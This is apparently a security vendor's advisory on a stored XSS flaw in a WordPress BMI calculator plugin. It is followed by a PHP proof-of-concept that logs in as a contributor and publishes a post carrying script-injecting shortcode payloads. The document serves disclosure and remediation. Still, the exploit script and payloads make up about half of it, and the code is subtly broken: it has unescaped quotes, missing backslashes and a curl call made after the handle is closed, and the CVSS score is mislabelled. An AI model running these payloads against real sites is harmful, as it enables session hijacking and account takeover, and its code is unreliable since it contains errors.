Atomic Edge analysis of CVE-2026-8883 (metadata-based): This vulnerability affects the Global Body Mass Index Calculator plugin for WordPress, versions 1.2 and earlier. The flaw is a Stored Cross-Site Scripting (XSS) vulnerability located in the GBMI_Calc_Widget::widget() function. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript through the ‘gbmicalc’ shortcode attributes. The CVSS score is 6.4 (Medium/High), with network attack vector, low complexity, and no user interaction required for exploitation.
The root cause of this vulnerability stems from two dangerous coding practices. First, the plugin uses @extract($args) to directly convert shortcode attributes into local variables. This is a dangerous pattern that bypasses proper variable scoping. Second, the extracted values are echoed without any output escaping into HTML contexts: specifically into a style attribute (as height or width values) and into the title attribute or body context. Atomic Edge analysis infers from the CWE-79 classification and the description that the plugin fails to call esc_attr(), esc_html(), or wp_kses_post() on the attribute values before output. No code diff is available for confirmation.
Exploitation requires an attacker to have at least a Contributor role in WordPress. The attacker creates or edits a post or page containing the [gbmicalc] shortcode with malicious attributes. A typical attack payload exploits the style attribute by injecting a closing quote and then adding an onload or onerror event handler: [gbmicalc height=”1px”>alert(document.cookie)<div style="display:none"] or a more subtle attribute-breakout like [gbmicalc title="' onmouseover='alert(1)'"]. When any user views the compromised page, the injected script executes in their browser context. The shortcode is processed during page rendering by the widget() function, so no AJAX endpoint or REST route is involved.
Remediation requires the plugin developer to implement proper input sanitization and output escaping. For shortcode attributes extracted via extract(), each variable must be sanitized with appropriate functions: use sanitize_text_field() or esc_attr() for style values, and wp_kses() for any HTML context. The safest approach is to replace @extract() with explicit variable assignment and apply context-aware escaping (esc_attr() for HTML attributes, esc_html() for body text). Developers should never trust user-supplied shortcode attributes and should always escape output using WordPress escaping functions based on the HTML context.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users viewing the infected page. This can lead to session hijacking (stealing authentication cookies), forced redirection to malicious sites, defacement of the page content, or theft of sensitive information displayed on the page. Since the XSS is stored, every visitor to the compromised page is affected, including administrators if they view the page. The attacker could create new admin accounts, install backdoor plugins, or exfiltrate database contents through crafted XSS payloads. The CVSS scope change (S) indicates the attack impacts resources beyond the vulnerable component, such as the WordPress session management or other pages.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8883 - Global Body Mass Index Calculator <= 1.2 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes
// Configuration: Change these values for your target environment
$target_url = 'http://example.com'; // Base URL of the WordPress site (no trailing slash)
$username = 'contributor'; // WordPress user with Contributor role or higher
$password = 'password'; // Password for the above account
// Step 1: Authenticate
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_8883.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Login request failed: ' . curl_error($ch) . "n");
}
curl_close($ch);
// Step 2: Get the nonce for creating a new post (navigate to post-new.php)
$post_new_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_new_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_8883.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Extract _wpnonce for the post action
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/i', $response, $matches);
if (!isset($matches[1])) {
die('Could not extract nonce. Ensure you have Contributor+ role and the page loads correctly.n');
}
$nonce = $matches[1];
// Extract post_ID if editing (for updates)
preg_match('/name="post_ID" value="(d+)"/i', $response, $id_matches);
$post_id = isset($id_matches[1]) ? $id_matches[1] : '';
// Step 3: Create/update a post with the XSS payload in the shortcode
// The payload escapes the style attribute and injects a script
$payload_shortcode = '[gbmicalc height="1px"><script>alert('XSS by Atomic Edge')</script><div style="display:none""]';
$post_data = array(
'_wpnonce' => $nonce,
'post_type' => 'post',
'post_title' => 'CVE-2026-8883 PoC - ' . date('Y-m-d H:i:s'),
'content' => $payload_shortcode . "nn<p>This post demonstrates the stored XSS vulnerability.</p>",
'post_status' => 'publish'
);
if (!empty($post_id)) {
$post_data['post_ID'] = $post_id;
$post_url = $target_url . '/wp-admin/post.php?action=edit&post=' . $post_id;
} else {
$post_url = $target_url . '/wp-admin/post.php';
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_8883.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Check for success (URL should contain post ID)
if (preg_match('/post=([0-9]+)/i', curl_getinfo($ch, CURLINFO_EFFECTIVE_URL), $url_matches)) {
$new_post_id = $url_matches[1];
echo "PoC post created successfully. Post ID: $new_post_idn";
echo "Visit: " . $target_url . "/?p=" . $new_post_id . " to trigger the XSS.n";
} else {
echo "Failed to create post. Response may indicate insufficient permissions.n";
}
// Clean up cookie file
unlink('/tmp/cookies_cve_8883.txt');